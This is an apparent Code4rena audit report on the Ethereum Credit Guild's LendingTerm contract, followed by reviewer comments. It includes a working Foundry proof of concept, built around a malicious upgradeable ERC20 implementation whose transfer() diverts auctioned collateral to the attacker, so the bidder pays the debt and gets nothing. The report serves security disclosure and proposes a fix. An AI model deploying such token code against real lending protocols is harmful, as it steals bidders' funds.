c4-bot-4 commented 6 months ago

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/LendingTerm.sol#L813

Vulnerability details

Impact

Malicious actors can leverage the upgradeable ERC20 collateral to manipulate the auction process, enabling them to obtain the entire collateral without meeting their debt obligations. Such exploitation not only jeopardizes the fairness of the lending system but also undermines the security of user funds, eroding trust in the protocol.

Proof of Concept

Since onboarding lending terms with upgradeable ERC20 collaterals aligns with the protocol's behavior, a malicious user can onboard a lending term with an upgradeable ERC20 collateral, take a loan, and retrieve their full collateral in an auction without repaying the debt.

Alice (Malicious user) onboards a lending term with an upgradeable ERC20 collateral.
Alice takes a loan with excess collateral to create the appearance of overcollateralization.
Alice doesn't intend to repay the loan until it goes to auction.
Alice upgrades the proxy to the malicious implementation, which consistently replaces to with her own address during the transfer() operation in the event msg.sender == address(term). Therefore, it doesn't matter who the bidder is; LendingTerm will transfer tokens to Alice.
Since this loan is overcollateralized, a bidder finds it profitable and decides to place a bid on it.
Bidder calls the bid() and pays the debt.
LendingTerm calls safeTransfer in this line to transfer the collateral to the bidder, but the malicious implementation replaces to with Alice's address instead of the bidder's address.
Alice receives her full collateral without repaying the loan.
The bidder has paid Alice's debt but receives nothing.

To test the scenario:

Install openzeppelin/contracts-upgradeable ver 4.9.3:

npm install @openzeppelin/contracts-upgradeable@4.9.3

Make a folder/dir named ninja-tests in this path: test/uint/ and create below files in it:

CollateralProxy.sol:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.13;

import "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";

contract CollateralProxy is ERC1967Proxy {
    address _owner;

    constructor(address _logic, bytes memory _data) ERC1967Proxy(_logic, _data){
        _owner = msg.sender;
    }

    function upgradeTo(address _logic) public {
        require(msg.sender == _owner, "Owner Only");
        _upgradeTo(_logic);
    }
}

CollateralToken.sol:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/extensions/ERC20BurnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/extensions/ERC20PermitUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";

contract CollateralToken is Initializable, ERC20Upgradeable, ERC20BurnableUpgradeable, OwnableUpgradeable, ERC20PermitUpgradeable {
    /// @custom:oz-upgrades-unsafe-allow constructor
    constructor() {
        _disableInitializers();
    }

    function initialize() initializer public {
        __ERC20_init("MockToken", "MCT");
        __ERC20Burnable_init();
        __Ownable_init();
        __ERC20Permit_init("MockToken");
    }

    function mint(address to, uint256 amount) public onlyOwner {
        _mint(to, amount);
    }
}

MalERC20ImpForAuction.sol This contract is the malicious implementation which transfers collateral to the attacker instead of the bidder:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/extensions/ERC20BurnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/extensions/ERC20PermitUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";

contract MalERC20ImpForAuction is Initializable, ERC20Upgradeable, ERC20BurnableUpgradeable, OwnableUpgradeable, ERC20PermitUpgradeable {
    /// @custom:oz-upgrades-unsafe-allow constructor
    constructor() {
        _disableInitializers();
    }

    function initialize() initializer public {
        __ERC20_init("MockToken", "MCT");
        __ERC20Burnable_init();
        __Ownable_init();
        __ERC20Permit_init("MockToken");
    }

    function mint(address to, uint256 amount) public onlyOwner {
        _mint(to, amount);
    }

    // @audit transfers amount to Alice when msg.sender == address(term)
    function transfer(address to, uint256 amount) public override returns (bool) {
        address term = 0x1F88f48585ad6754e59c03debd4502399e33Ff50;
        address alice = 0x000000000000000000000000000000616c696365;
        if(_msgSender() == term){
            _transfer(term, alice, amount);
            return true;
        }
        else{
            _transfer(_msgSender(), to, amount);
            return true;
        }
    }
}

MaliciousAuction.t.sol

// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.13;

import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol";
import {Test, console} from "@forge-std/Test.sol";
import {Core} from "@src/core/Core.sol";
import {CoreRoles} from "@src/core/CoreRoles.sol";
import {MockERC20} from "@test/mock/MockERC20.sol";
import {SimplePSM} from "@src/loan/SimplePSM.sol";
import {GuildToken} from "@src/tokens/GuildToken.sol";
import {CreditToken} from "@src/tokens/CreditToken.sol";
import {LendingTerm} from "@src/loan/LendingTerm.sol";
import {AuctionHouse} from "@src/loan/AuctionHouse.sol";
import {ProfitManager} from "@src/governance/ProfitManager.sol";
import {RateLimitedMinter} from "@src/rate-limits/RateLimitedMinter.sol";
import {SurplusGuildMinter} from "@src/loan/SurplusGuildMinter.sol";
import {CollateralToken} from "@test/unit/ninja-tests/CollateralToken.sol";
import {MalERC20ImpForAuction} from "@test/unit/ninja-tests/MalERC20ImpForAuction.sol";
import {CollateralProxy} from "@test/unit/ninja-tests/CollateralProxy.sol";
import {Governor, IGovernor} from "@openzeppelin/contracts/governance/Governor.sol";
import {GovernorCountingSimple} from "@openzeppelin/contracts/governance/extensions/GovernorCountingSimple.sol";
import {LendingTermOnboarding} from "@src/governance/LendingTermOnboarding.sol";
import {GuildTimelockController} from "@src/governance/GuildTimelockController.sol";

contract MaliciousAuction is Test {
    address private borrower = address(3);
    address private caller = address(4);
    address private bidder = address(5);
    address charlie;
    address private constant alice = address(0x616c696365);
    address private constant bob = address(0xB0B);
    Core private core;
    CollateralProxy proxy;
    ProfitManager private profitManager;
    CreditToken credit;
    GuildToken guild;
    CollateralToken collateral;
    LendingTerm private termImplementation;
    GuildTimelockController private timelock;
    MockERC20 usdc;
    address lender;
    SimplePSM private psm;
    RateLimitedMinter rlcm;
    RateLimitedMinter rlgm;
    LendingTermOnboarding private onboarder;
    SurplusGuildMinter sgm;
    AuctionHouse auctionHouse;
    // LendingTerm params
    uint256 private constant _CREDIT_PER_COLLATERAL_TOKEN = 1e18; // 1:1, same decimals
    uint256 private constant _INTEREST_RATE = 0.05e18; // 5% APR
    uint256 private constant _HARDCAP = 1_000_000e18;
    // AuctionHouse params
    uint256 private constant _VOTING_DELAY = 0;
    uint256 private constant _VOTING_PERIOD = 100_000; // ~14 days
    uint256 private constant _PROPOSAL_THRESHOLD = 2_500_000e18;
    uint256 private constant _QUORUM = 20_000_000e18;
    uint256 constant _MIDPOINT = 650; // 10m50s
    uint256 constant _AUCTION_DURATION = 1800; // 30m
    uint256 constant MINT_RATIO = 2e18;
    uint256 constant REWARD_RATIO = 5e18;
    uint256 private constant _TIMELOCK_MIN_DELAY = 3600; // 1h
    uint256 borrowAmount = 200_000e18;
    uint256 collateralAmount = 400_000e18;

    function setUp() public {
        charlie = vm.addr(13);
        vm.warp(1679067867);
        vm.roll(16848497);
        // deploy
        core = new Core();
        profitManager = new ProfitManager(address(core));
        credit = new CreditToken(address(core), "name", "symbol");
        guild = new GuildToken(address(core), address(profitManager));
        usdc = new MockERC20();
        usdc.setDecimals(6);
        usdc.mint(charlie, 200_000e6);
        usdc.mint(bidder, 210_000e6);
        rlcm = new RateLimitedMinter(
            address(core), /*_core*/
            address(credit), /*_token*/
            CoreRoles.RATE_LIMITED_CREDIT_MINTER, /*_role*/
            type(uint256).max, /*_maxRateLimitPerSecond*/
            type(uint128).max, /*_rateLimitPerSecond*/
            type(uint128).max /*_bufferCap*/
        );
        rlgm = new RateLimitedMinter(
            address(core), /*_core*/
            address(guild), /*_token*/
            CoreRoles.RATE_LIMITED_GUILD_MINTER, /*_role*/
            type(uint256).max, /*_maxRateLimitPerSecond*/
            type(uint128).max, /*_rateLimitPerSecond*/
            type(uint128).max /*_bufferCap*/
        );
        sgm = new SurplusGuildMinter(
            address(core),
            address(profitManager),
            address(credit),
            address(guild),
            address(rlgm),
            MINT_RATIO,
            REWARD_RATIO
        );
        psm = new SimplePSM(
            address(core),
            address(profitManager),
            address(credit),
            address(usdc)
        );
        auctionHouse = new AuctionHouse(
            address(core),
            650,
            1800
        );
        termImplementation = new LendingTerm();
        timelock = new GuildTimelockController(
            address(core),
            _TIMELOCK_MIN_DELAY
        );
        onboarder = new LendingTermOnboarding(
            LendingTerm.LendingTermReferences({
                profitManager: address(profitManager),
                guildToken: address(guild),
                auctionHouse: address(auctionHouse),
                creditMinter: address(rlcm),
                creditToken: address(credit)
            }), /// _lendingTermReferences
            1, // _gaugeType
            address(core), // _core
            address(timelock), // _timelock
            _VOTING_DELAY, // initialVotingDelay
            _VOTING_PERIOD, // initialVotingPeriod
            _PROPOSAL_THRESHOLD, // initialProposalThreshold
            _QUORUM // initialQuorum
        );
        onboarder.allowImplementation(
            address(termImplementation),
            true
        );
        profitManager.initializeReferences(address(credit), address(guild), address(psm));
        // permissions
        core.grantRole(CoreRoles.CREDIT_MINTER, address(this));
        core.grantRole(CoreRoles.GUILD_MINTER, address(this));
        core.grantRole(CoreRoles.GAUGE_ADD, address(this));
        core.grantRole(CoreRoles.GAUGE_REMOVE, address(this));
        core.grantRole(CoreRoles.GAUGE_PARAMETERS, address(this));
        core.grantRole(CoreRoles.CREDIT_REBASE_PARAMETERS, address(psm));
        core.grantRole(CoreRoles.GUILD_GOVERNANCE_PARAMETERS, address(this));
        core.grantRole(CoreRoles.CREDIT_MINTER, address(rlcm));
        core.grantRole(CoreRoles.GOVERNOR, address(timelock));
        core.grantRole(CoreRoles.GUILD_MINTER, address(rlgm));
        core.grantRole(CoreRoles.RATE_LIMITED_GUILD_MINTER, address(sgm));
        core.grantRole(CoreRoles.GUILD_SURPLUS_BUFFER_WITHDRAW, address(sgm));
        core.grantRole(CoreRoles.CREDIT_MINTER, address(psm));
        core.grantRole(CoreRoles.GAUGE_ADD, address(timelock));
        core.grantRole(CoreRoles.TIMELOCK_EXECUTOR, address(0));
        core.grantRole(CoreRoles.TIMELOCK_PROPOSER, address(onboarder));
        core.grantRole(CoreRoles.GAUGE_PNL_NOTIFIER, address(this));
        core.renounceRole(CoreRoles.GOVERNOR, address(this));
        // allow GUILD gauge votes & delegations
        guild.setMaxGauges(10);
        guild.setMaxDelegates(10);
    }

    function testStealCollateralOnBid() public returns (bytes32 loanId){
        vm.startPrank(charlie);
        assertEq(credit.balanceOf(charlie), 0);
        usdc.approve(address(psm), 200_000e6);
        psm.mint(charlie, 200_000e6);
        assertEq(credit.balanceOf(charlie), 200_000e18);
        vm.stopPrank();

        // Alice (Malicious user) implements a nice-looking upgradeable ERC20 collateral 
        vm.startPrank(alice);
        CollateralToken implementation = new CollateralToken();
        bytes memory initData = abi.encodeWithSelector(implementation.initialize.selector, alice);
        proxy = new CollateralProxy(address(implementation), initData);
        collateral = CollateralToken(address(proxy));
        collateral.mint(alice, collateralAmount);
        vm.stopPrank();

        LendingTerm term = LendingTerm(onboarder.createTerm(address(termImplementation), LendingTerm.LendingTermParams({
            collateralToken: address(collateral),
            maxDebtPerCollateralToken: _CREDIT_PER_COLLATERAL_TOKEN,
            interestRate: _INTEREST_RATE,
            maxDelayBetweenPartialRepay: 0,
            minPartialRepayPercent: 0,
            openingFee: 0,
            hardCap: _HARDCAP
        })));
        vm.label(address(term), "term");

        // mint GUILD & self delegate
        guild.mint(alice, _PROPOSAL_THRESHOLD);
        guild.mint(bob, _QUORUM);
        vm.prank(alice);
        guild.delegate(alice);
        vm.prank(bob);
        guild.incrementDelegation(bob, _QUORUM);
        vm.roll(block.number + 1);
        vm.warp(block.timestamp + 13);

        // Alice onboards a Lending Term with the upgradeable ERC20 collateral
        vm.prank(alice);
        uint256 proposalId = onboarder.proposeOnboard(address(term));
        (
            address[] memory targets,
            uint256[] memory values,
            bytes[] memory calldatas,
            string memory description
        ) = onboarder.getOnboardProposeArgs(address(term));

        // check proposal creation
        assertEq(uint8(onboarder.state(proposalId)), uint8(IGovernor.ProposalState.Pending));
        vm.roll(block.number + 1);
        vm.warp(block.timestamp + 13);
        // support & check status
        vm.prank(bob);
        onboarder.castVote(proposalId, uint8(GovernorCountingSimple.VoteType.For));
        vm.roll(block.number + _VOTING_PERIOD + 1);
        vm.warp(block.timestamp + 13);
        assertEq(uint8(onboarder.state(proposalId)), uint8(IGovernor.ProposalState.Succeeded));
        // queue
        vm.roll(block.number + 1);
        vm.warp(block.timestamp + 13);
        onboarder.queue(targets, values, calldatas, keccak256(bytes(description)));
        assertEq(uint8(onboarder.state(proposalId)), uint8(IGovernor.ProposalState.Queued));
        // execute
        vm.roll(block.number + 1);
        vm.warp(block.timestamp + _TIMELOCK_MIN_DELAY + 13);
        onboarder.execute(targets, values, calldatas, keccak256(bytes(description)));
        assertEq(uint8(onboarder.state(proposalId)), uint8(IGovernor.ProposalState.Executed));
        // check execution
        assertEq(guild.isGauge(address(term)), true);

        guild.mint(address(this), 1e18);
        guild.incrementGauge(address(term), 1e18);

        // Alice takes a loan for 200_000e18 and redeems for 200_000e6 USDC
        vm.startPrank(alice);
        collateral.approve(address(term), collateralAmount);
        // Alice pays double the collateral to create the appearance of overcollateralization for the loan
        loanId = term.borrow(borrowAmount, collateralAmount);
        assertEq(credit.balanceOf(alice), borrowAmount);
        credit.approve(address(psm), borrowAmount);
        psm.redeem(alice, borrowAmount);
        assertEq(usdc.balanceOf(alice), 200_000e6);
        vm.stopPrank();

        // 1 year later, interest accrued
        vm.warp(block.timestamp + term.YEAR());
        vm.roll(block.number + 1);

        // Now if Alice wants to repay the loan she should pay 210_000e18 (10_000e18 as interest) so she decides to not to repay the loan
        assertEq(term.getLoanDebt(loanId), 210_000e18);

        // Caller calls the loan
        guild.removeGauge(address(term));
        vm.startPrank(caller);
        term.call(loanId);
        vm.stopPrank();

        // Alice upgrades the proxy to the new malicious implementation which will transfer collateral to her
        // instead of the bidder
        vm.startPrank(alice);
        MalERC20ImpForAuction maliciousImplementation = new MalERC20ImpForAuction();
        proxy.upgradeTo(address(maliciousImplementation));
        collateral = CollateralToken(address(proxy));
        vm.stopPrank();

        uint256 PHASE_1_DURATION = auctionHouse.midPoint();
        vm.roll(block.number + 1);
        vm.warp(block.timestamp + PHASE_1_DURATION);

        // At this time, get full collateral, repay full debt
        (uint256 collateralReceived, uint256 creditAsked) = auctionHouse.getBidDetail(loanId);
        assertEq(collateralReceived, collateralAmount);
        assertEq(creditAsked, 210_000e18);

        // Bidder finds this loan profitable so he bids on it, pays the debt but gets nothing because
        // malicious implementation will transfer the full collateral to Alice
        vm.startPrank(bidder);
        usdc.approve(address(psm), 210_000e6);
        psm.mint(bidder, 210_000e6);
        assertEq(credit.balanceOf(bidder), 210_000e18);
        credit.approve(address(term), 210_000e18);
        auctionHouse.bid(loanId);
        vm.stopPrank();

        // Alice restores the proxy to its original (normal) implementation
        vm.startPrank(alice);
        proxy.upgradeTo(address(implementation));
        collateral = CollateralToken(address(proxy));
        vm.stopPrank();

        // Bidder paid the debt but got nothing
        assertEq(collateral.balanceOf(bidder), 0);

        // Now Alice has her full collateral without repaying the loan 
        assertEq(collateral.balanceOf(alice), collateralAmount);
    }
}

At the end you should have following files in this path: test/unit/ninja-tests/

test/unit/ninja-tests
    - CollateralProxy.sol
    - CollateralToken.sol
    - MalERC20ImpForAuction.sol
    - MaliciousAuction.t.sol

Run the test:

forge test --match-test testStealCollateralOnBid

Tools Used

VSCode Foundry

Recommended Mitigation Steps

When transferring collateral to the bidder, it is essential to verify the balance of the bidder both before and after the transfer, ensuring that an adequate amount of collateral has been successfully sent.

diff --git a/LendingTerm.sol.orig b/LendingTerm.sol
index e00c699..0b4d6df 100644
--- a/LendingTerm.sol.orig
+++ b/LendingTerm.sol
@@ -810,10 +810,13 @@ contract LendingTerm is CoreRef {

         // send collateral to bidder
         if (collateralToBidder != 0) {
+            uint256 balanceBefore = IERC20(params.collateralToken).balanceOf(bidder);
             IERC20(params.collateralToken).safeTransfer(
                 bidder,
                 collateralToBidder
             );
+            uint256 balanceAfter = IERC20(params.collateralToken).balanceOf(bidder);
+            require(balanceAfter - balanceBefore == collateralToBidder, "Not enough collateral has been sent to the bidder");
         }

         emit LoanClose(

Assessed type

Upgradable

c4-pre-sort commented 6 months ago

0xSorryNotSorry marked the issue as sufficient quality report

0xSorryNotSorry commented 6 months ago

The issue is well demonstrated, properly formatted, contains a coded POC. Marking as HQ.

Also duping any honeypot, FOT, weird ERC20 submissions as well as they have the same balance difference root cause.

c4-pre-sort commented 6 months ago

0xSorryNotSorry marked the issue as high quality report

c4-pre-sort commented 6 months ago

0xSorryNotSorry marked the issue as primary issue

eswak commented 5 months ago

I think this is very similar to #1053, so I'm going to comment the same thing :

Imo this is invalid because it is akin to a collateral token that would have infinite minting capability / a compromised owner / etc, there is no impact here that would differ from these simpler situations. There is nothing the protocol can do about it, besides mitigating the damage (and the damage is mitigated by the debt ceilings, hard caps, and liquidity available in the PSM). This is more a governance failure (no term with this collateral token should have been onboarded) than a code failure, I believe the bad debt would still properly be applied in this situation.